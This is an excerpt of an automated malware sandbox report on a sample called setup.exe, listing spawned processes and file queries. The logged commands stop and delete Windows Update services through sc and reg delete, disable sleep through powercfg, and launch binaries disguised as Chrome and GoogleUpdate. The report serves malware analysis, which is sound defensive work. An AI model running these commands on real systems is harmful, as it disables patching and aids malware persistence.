Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{29a9a3a9-f91b-48e0-a57c-b80e63016d7e}

Source: C:\Users\user\Desktop\setup.exe

Code function: GetLocaleInfoA,

0_2_0040D727

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
